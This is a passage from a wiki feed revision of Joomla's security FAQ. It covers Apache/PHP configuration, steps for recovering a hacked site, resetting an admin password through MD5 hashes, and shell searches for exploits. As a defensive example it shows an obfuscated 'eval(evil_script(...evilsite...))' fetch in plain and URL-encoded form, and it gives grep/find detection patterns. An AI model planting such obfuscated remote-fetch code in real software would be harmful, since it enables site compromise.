 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
As&lt;br /&gt;
in the case of running PHP as an Apache module, you can add whatever&lt;br /&gt;
extensions you want Apache to recognise as PHP scripts, such as:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Next,&lt;br /&gt;
you will need to tell the server to execute the PHP executable each&lt;br /&gt;
time it encounters a PHP script. Add the following below any existing&lt;br /&gt;
entries in the &amp;amp;quot;Action&amp;amp;quot; section.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If&lt;br /&gt;
you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a&lt;br /&gt;
path alias which will correlate to your PHP installation path&lt;br /&gt;
configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot;&lt;br /&gt;
or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module&lt;br /&gt;
or running it as a CGI binary, and has been seen often enough to&lt;br /&gt;
warrant a mention.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If you want to make your PHP script execute&lt;br /&gt;
as the default page for a directory, you have to add another line to&lt;br /&gt;
the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins&lt;br /&gt;
with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=59911</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=59911"/>
		<updated>2011-06-26T21:43:32Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* How do I turn off RG_EMULATION? {{JVer|1.0}} */ Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
